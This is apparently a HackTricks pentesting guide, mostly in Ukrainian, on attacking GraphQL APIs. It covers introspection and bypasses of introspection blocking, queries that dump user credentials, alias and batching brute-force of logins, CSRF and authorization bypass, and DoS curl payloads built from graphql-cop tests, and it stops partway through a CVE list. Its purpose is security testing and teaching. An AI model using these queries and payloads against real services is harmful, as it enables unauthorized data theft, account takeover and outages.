GraphQL

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Introduction

GraphQL виділяють як ефективну альтернативу REST API, що пропонує спрощений підхід до запитування даних з бекенду. На відміну від REST, який часто вимагає численних запитів до різних endpoints для збору інформації, GraphQL дозволяє отримати всі необхідні дані через один запит. Це значно полегшує роботу розробників, зменшуючи складність їхніх процесів отримання даних.

GraphQL and Security

З появою нових технологій, включно з GraphQL, з’являються й нові вразливості безпеки. Важливо зазначити, що GraphQL за замовчуванням не включає механізми автентифікації. Це — відповідальність розробників реалізувати такі заходи безпеки. Без належної автентифікації GraphQL endpoints можуть розкривати чутливу інформацію неавторизованим користувачам, що становить значний ризик для безпеки.

Directory Brute Force Attacks and GraphQL

Щоб ідентифікувати відкриті інстанси GraphQL, рекомендується включити певні шляхи в directory brute force attacks. Ці шляхи:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Виявлення відкритих інстансів GraphQL дозволяє дослідити підтримувані запити. Це важливо для розуміння даних, доступних через endpoint. Система introspection у GraphQL полегшує це, описуючи запити, які підтримує схема. Для додаткової інформації див. документацію GraphQL про introspection: GraphQL: A query language for APIs.

Fingerprint

Інструмент graphw00f може визначити, який GraphQL engine використовується на сервері, а потім вивести корисну інформацію для аудитора безпеки.

Універсальні запити

Щоб перевірити, чи URL є GraphQL-сервісом, можна відправити універсальний запит, query{__typename}. Якщо у відповіді міститься {"data": {"__typename": "Query"}}, це підтверджує, що URL хостить GraphQL endpoint. Цей метод ґрунтується на полі __typename у GraphQL, яке вказує тип запитуваного об’єкта.

query{__typename}

Basic Enumeration

Graphql зазвичай підтримує GET, POST (x-www-form-urlencoded) та POST (json). Однак з міркувань безпеки рекомендовано дозволяти лише json, щоб запобігти CSRF-атакам.

Introspection

Щоб використати інтроспекцію для отримання інформації про схему, зробіть запит до поля __schema. Це поле доступне в кореневому типі всіх запитів.

query={__schema{types{name,fields{name}}}}

За допомогою цього запиту ви знайдете назви всіх типів, що використовуються:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

За допомогою цього запиту ви можете отримати всі типи, їхні поля та їхні аргументи (а також типи аргументів). Це буде дуже корисно, щоб зрозуміти, як робити запити до бази даних.

Помилки

Цікаво знати, чи будуть помилки показані, оскільки вони можуть надати корисну інформацію.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Перелічити схему бази даних за допомогою інтроспекції

Tip

Якщо інтроспекція увімкнена, але наведений вище запит не виконується, спробуйте видалити директиви onOperation, onFragment та onField зі структури запиту.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Вбудований introspection-запит:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Останній рядок коду — це graphql-запит, який виведе всю мета-інформацію з graphql (імена об’єктів, параметри, типи…)

Якщо introspection увімкнено, ви можете використати GraphQL Voyager щоб переглянути у GUI всі опції.

Запити

Тепер, коли ми знаємо, який тип інформації зберігається в базі даних, спробуймо витягти деякі значення.

В інспекції/introspection ви можете знайти який об’єкт можна запитувати безпосередньо (бо наявність об’єкта не означає, що його можна запитувати). На наступному зображенні видно, що “queryType” називається “Query” і одним із полів об’єкта “Query” є “flags”, який також є типом об’єкта. Отже, ви можете виконати запит до об’єкта flags.

Зауважте, що тип поля flagsFlags, і цей об’єкт визначено так:

Ви бачите, що об’єкти “Flags” складаються з полів name та value. Тоді ви можете отримати всі імена та значення прапорів за допомогою запиту:

query={flags{name, value}}

Зауважте, що якщо об’єкт для запиту є примітивним типом, наприклад string, як у наведеному нижче прикладі

Ви можете просто виконати запит до нього так:

query = { hiddenFlags }

У іншому прикладі, де в типі Query було 2 об’єкти: user та users.
Якщо для цих об’єктів не потрібні аргументи для пошуку, можна отримати всю інформацію з них просто запитавши потрібні дані. У цьому прикладі з Інтернету ви могли б витягти збережені імена користувачів і паролі:

Однак у цьому прикладі, якщо ви спробуєте так зробити, отримаєте цю помилку:

Схоже, що він якось шукає, використовуючи аргумент uid типу Int.
Так чи інакше, ми вже знали це — у розділі Basic Enumeration був наведений запит, який показував усю потрібну інформацію: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Якщо подивитися на зображення, отримане після виконання того запиту, видно, що у user був аргумент uid типу Int.

Отже, виконавши легкий uid bruteforce, я знайшов, що при uid=1 було отримано ім’я користувача та пароль:
query={user(uid:1){user,password}}

Зауважте, я виявив, що можу запитувати параметри user і password, бо якщо я спробую шукати щось, що не існує (query={user(uid:1){noExists}}), отримаю цю помилку:

Під час фази enumeration я виявив, що об’єкт dbuser має поля user і password.

Query string dump trick (thanks to @BinaryShadow_)

If you can search by a string type, like: query={theusers(description: ""){username,password}} and you search for an empty string it will dump all data. (Note this example isn’t related with the example of the tutorials, for this example suppose you can search using “theusers” by a String field called “description).

Пошук

У цій конфігурації база даних містить persons і movies. Persons ідентифікуються за email та name; movies — за name та rating. Persons можуть бути друзями один з одним і також мати movies, що вказує на зв’язки в базі даних.

Ви можете шукати persons за name і отримати їхні emails:

{
searchPerson(name: "John Doe") {
email
}
}

Ви можете шукати осіб за іменем і отримувати їхні підписані фільми:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Зверніть увагу, як зазначено отримати name з subscribedMovies особи.

Ви також можете шукати кілька об’єктів одночасно. У цьому випадку виконується пошук двох фільмів:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Або навіть зв’язки кількох різних об’єктів із використанням aliases:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Мутації

Мутації використовуються для внесення змін на стороні сервера.

У інтроспекції можна знайти задекларовані мутації. На зображенні нижче “MutationType” названо “Mutation”, і об’єкт “Mutation” містить імена мутацій (наприклад “addPerson” у цьому випадку):

У цій конфігурації database містить persons та movies. Persons ідентифікуються за їх email та name; movies — за їх name та rating. Persons можуть бути друзями один з одним і також мати movies, що вказує на зв’язки в базі даних.

Мутація для створення нових movies у database може виглядати так (у цьому прикладі мутація називається addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Зверніть увагу, як у запиті вказуються як значення, так і тип даних.

Крім того, база даних підтримує операцію mutation, з іменем addPerson, яка дозволяє створювати persons разом із їхніми асоціаціями до вже існуючих friends і movies. Важливо зазначити, що friends і movies повинні попередньо існувати в базі даних перед тим, як зв’язати їх із щойно створеною особою.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Directive Overloading

Як пояснюється в one of the vulns described in this report, directive overloading передбачає виклик директиви навіть мільйонами разів, щоб змусити сервер витрачати ресурси, поки не стане можливим DoS його.

Batching brute-force in 1 API request

This information was take from https://lab.wallarm.com/graphql-batching-attack/.
Аутентифікація через GraphQL API з simultaneously sending many queries with different credentials для її перевірки. Це класичний brute force атака, але тепер можливо відправити більше ніж одну пару login/password в одному HTTP-запиті завдяки функції GraphQL batching. Такий підхід може обдурити зовнішні сервіси моніторингу rate, змусивши їх вважати, що все в порядку і немає brute-forcing bot, який намагається вгадати паролі.

Нижче наведено найпростіший приклад запиту аутентифікації додатку, з 3 different email/passwords pairs at a time. Очевидно, аналогічним чином можна відправити тисячі пар в одному запиті:

Як видно зі скріншоту відповіді, перший та третій запити повернули null і відобразили відповідну інформацію в секції error. Другий mutation мав правильні дані автентифікації і відповідь містить коректний токен сесії автентифікації.

GraphQL Without Introspection

Все більше graphql endpoints вимикають introspection. Проте помилок, які graphql повертає при отриманні несподіваного запиту, достатньо для інструментів на кшталт clairvoyance щоб відтворити більшу частину схеми.

Крім того, розширення Burp Suite GraphQuail спостерігає GraphQL API запити, що проходять через Burp, і будує внутрішню GraphQL schema з кожним новим запитом, який воно бачить. Воно також може експортувати схему для GraphiQL і Voyager. Розширення повертає підроблену відповідь, коли отримує introspection-запит. Внаслідок цього GraphQuail показує всі запити, аргументи та поля, доступні для використання в API. Для додаткової інформації check this.

A nice wordlist to discover GraphQL entities can be found here.

Bypassing GraphQL introspection defences

Щоб обійти обмеження на introspection-запити в API, вставка спеціального символу після ключового слова __schema виявляється ефективною. Цей метод експлуатує типові недогляди розробників у regex-патернах, які намагаються блокувати introspection, фокусуючись на ключовому слові __schema. Додавання символів, таких як spaces, new lines, and commas, які GraphQL ігнорує, але які можуть не враховуватися в regex, дозволяє обійти обмеження. Наприклад, introspection-запит з перенесенням рядка після __schema може обійти такі захисні механізми:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Якщо це не спрацювало, розгляньте альтернативні методи запитів, такі як GET requests або POST with x-www-form-urlencoded, оскільки обмеження можуть застосовуватись лише до POST requests.

Спробуйте WebSockets

Як згадується в this talk, перевірте, чи можливо підключитися до graphQL через WebSockets, оскільки це може дозволити обійти потенційний WAF і змусити websocket communication leak схему graphQL:

ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

Виявлення відкритих структур GraphQL

Коли introspection вимкнено, корисною стратегією є перегляд вихідного коду сайту на предмет попередньо завантажених запитів у бібліотеках JavaScript. Ці запити можна знайти за допомогою вкладки Sources в інструментах розробника, що дає уявлення про схему API і виявляє потенційно відкриті чутливі запити. Команди для пошуку в інструментах розробника:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

Error-based schema reconstruction & engine fingerprinting (InQL v6.1+)

When introspection is blocked, InQL v6.1+ can now reconstruct the reachable schema purely from error feedback. The new schema bruteforcer batches candidate field/argument names from a configurable wordlist and sends them in multi-field operations to reduce HTTP chatter. Useful error patterns are then harvested automatically:

  • Field 'bugs' not found on type 'inql' confirms the existence of the parent type while discarding invalid field names.
  • Argument 'contribution' is required shows that an argument is mandatory and exposes its spelling.
  • Suggestion hints such as Did you mean 'openPR'? are fed back into the queue as validated candidates.
  • By intentionally sending values with the wrong primitive (e.g., integers for strings) the bruteforcer provokes type mismatch errors that leak the real type signature, including list/object wrappers like [Episode!].

The bruteforcer keeps recursing over any type that yields new fields, so a wordlist that mixes generic GraphQL names with app-specific guesses will eventually map large chunks of the schema without introspection. Runtime is limited mostly by rate limiting and candidate volume, so fine-tuning the InQL settings (wordlist, batch size, throttling, retries) is critical for stealthier engagements.

In the same release, InQL ships a GraphQL engine fingerprinter (borrowing signatures from tools like graphw00f). The module dispatches deliberately invalid directives/queries and classifies the backend by matching the exact error text. For example:

query @deprecated {
__typename
}
  • Apollo відповідає Directive "@deprecated" may not be used on QUERY.
  • GraphQL Ruby відповідає '@deprecated' can't be applied to queries.

Once an engine is recognized, InQL surfaces the corresponding entry from the GraphQL Threat Matrix, helping testers prioritize weaknesses that ship with that server family (default introspection behavior, depth limits, CSRF gaps, file uploads, etc.).

Finally, автоматична генерація змінних усуває класичну перешкоду при переході в Burp Repeater/Intruder. Коли операція потребує variables JSON, InQL тепер підставляє розумні значення за замовчуванням, щоб запит пройшов валідацію схеми з першої відправки:

"String"  -> "exampleString"
"Int"     -> 42
"Float"   -> 3.14
"Boolean" -> true
"ID"      -> "123"
ENUM      -> first declared value

Вкладені об’єкти вводу успадковують те саме відображення, тож ви одразу отримуєте синтаксично та семантично валідний payload, який можна fuzzed для SQLi/NoSQLi/SSRF/logic bypasses без ручного reverse-engineering кожного аргументу.

CSRF у GraphQL

Якщо ви не знаєте, що таке CSRF, прочитайте наступну сторінку:

CSRF (Cross Site Request Forgery)

Там ви зможете знайти кілька GraphQL endpoints, сконфігурованих без CSRF tokens.

Зверніть увагу, що GraphQL-запити зазвичай відправляються через POST-запити з використанням Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Проте більшість GraphQL endpoints також підтримують form-urlencoded POST requests:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Therefore, as CSRF requests like the previous ones are sent without preflight requests, it’s possible to perform changes in the GraphQL abusing a CSRF.

Проте зауважте, що нове значення за замовчуванням для cookie-прапора samesite у Chrome — Lax. Це означає, що cookie будуть надсилатися з третьої сторони лише в GET-запитах.

Зауважте, що зазвичай можливо відправити query request також як GET request і CSRF token може не перевірятися в GET request.

Також зловживання XS-Search attack може дозволити ексфільтрацію контенту з GraphQL endpoint, зловживаючи credentials користувача.

For more information check the original post here.

Cross-site WebSocket hijacking in GraphQL

Аналогічно уразливостям CRSF, що зловживають GraphQL, також можливо виконати Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies і змусити користувача виконати непередбачувані дії в GraphQL.

For more information check:

WebSocket Attacks

Authorization in GraphQL

Багато функцій GraphQL, визначених на endpoint, можуть перевіряти лише аутентифікацію запитувача, але не авторизацію.

Зміна query input variables може призвести до sensitive account details leaked.

Mutation може навіть призвести до account takeover, якщо намагатися змінити дані іншого облікового запису.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Обхід авторизації в GraphQL

Chaining queries разом можуть обійти слабку систему аутентифікації.

У наведеному нижче прикладі видно, що операція — “forgotPassword”, і вона має виконувати лише пов’язаний із нею запит forgotPassword. Це можна обійти, додавши в кінець ще один запит; у цьому випадку ми додаємо “register” та user variable, щоб система зареєструвала нового користувача.

Обхід Rate Limits за допомогою aliases у GraphQL

У GraphQL aliases — потужна функція, яка дозволяє явно іменувати властивості при виконанні API-запиту. Ця можливість особливо корисна для отримання кількох екземплярів одного й того ж типу об’єкта в межах одного запиту. Aliases можна використовувати, щоб подолати обмеження, яке забороняє GraphQL-об’єктам мати кілька властивостей з однаковим ім’ям.

Для детального розуміння aliases у GraphQL рекомендується наступний ресурс: Aliases.

Хоча основна мета aliases — зменшити кількість необхідних API-викликів, виявлено ненавмисний сценарій їх використання, коли aliases можуть бути застосовані для виконання brute force attacks проти GraphQL endpoint. Це можливо, оскільки деякі endpoint захищені rate limiters, які покликані перешкоджати brute force attacks, обмежуючи кількість HTTP requests. Однак ці rate limiters можуть не враховувати кількість операцій всередині кожного запиту. Оскільки aliases дозволяють включати кілька запитів в одному HTTP request, вони можуть обійти такі обмеження швидкості.

Розгляньте приклад нижче, який ілюструє, як aliased queries можна використовувати для перевірки дійсності знижкових кодів магазину. Цей метод може обійти rate limiting, оскільки об’єднує кілька запитів в один HTTP request, що потенційно дозволяє одночасно перевіряти велику кількість кодів.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

DoS in GraphQL

Alias Overloading

Alias Overloading — це вразливість GraphQL, коли зловмисники перевантажують запит великою кількістю aliases для одного й того самого поля, через що backend resolver виконує це поле багаторазово. Це може перевантажити ресурси сервера і призвести до Denial of Service (DoS). Наприклад, у наведеному нижче запиті те саме поле (expensiveField) запитується 1,000 разів з використанням aliases, змушуючи бекенд обчислювати його 1,000 разів і потенційно вичерпуючи CPU або пам’ять:

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

Щоб пом’якшити це, реалізуйте обмеження кількості alias, аналіз складності запитів або обмеження частоти запитів (rate limiting), щоб запобігти зловживанню ресурсами.

Array-based Query Batching

Array-based Query Batching — це вразливість, при якій GraphQL API дозволяє пакетувати кілька запитів в одному запиті, що дає змогу зловмиснику надіслати велику кількість запитів одночасно. Це може перевантажити бекенд, виконуючи всі пакетовані запити паралельно, споживаючи надмірні ресурси (CPU, пам’ять, підключення до бази даних) і потенційно призвести до Denial of Service (DoS). Якщо не встановлено обмеження на кількість запитів у пакеті, зловмисник може скористатися цим, щоб погіршити доступність сервісу.

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

У цьому прикладі 10 різних запитів об’єднані в один запит, змушуючи сервер виконати їх усі одночасно. Якщо це використати з більшим розміром пакета або обчислювально дорогими запитами, це може перевантажити сервер.

Directive Overloading Vulnerability

Directive Overloading виникає, коли GraphQL сервер дозволяє запити з надмірними, дубльованими директивами. Це може перевантажити парсер і виконавець сервера, особливо якщо сервер повторно обробляє ту саму логіку директив. За відсутності належної валідації або обмежень, атакуючий може скористатися цим, сконструювавши запит з великою кількістю дубльованих директив, щоб викликати високе навантаження на обчислення або пам’ять, що призведе до Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

Зверніть увагу, що в попередньому прикладі @aa — це кастомна директива, яка може не бути оголошена. Загальною директивою, яка зазвичай існує, є @include:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

Ви також можете надіслати introspection query, щоб виявити всі оголошені директиви:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

А потім використайте деякі з користувацьких ones.

Field Duplication Vulnerability

Field Duplication — це уразливість, коли сервер GraphQL дозволяє виконувати запити з одним і тим же полем, яке надмірно повторюється. Це змушує сервер повторно обчислювати поле для кожного екземпляру, споживаючи значні ресурси (CPU, пам’ять і запити до бази даних). Атакувальник може сформувати запити з сотнями або тисячами повторюваних полів, що призведе до великого навантаження і потенційно до Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

Останні вразливості (2023-2025)

Екосистема GraphQL розвивається дуже швидко; за останні два роки було розкрито декілька критичних проблем у найпоширеніших серверних бібліотеках. Коли ви знаходите GraphQL endpoint, тому варто виконати fingerprinting двигуна (див. graphw00f) і перевірити поточну версію на відповідність наведеним нижче вразливостям.

CVE-2024-47614 – async-graphql directive-overload DoS (Rust)

  • Затронуті: async-graphql < 7.0.10 (Rust)
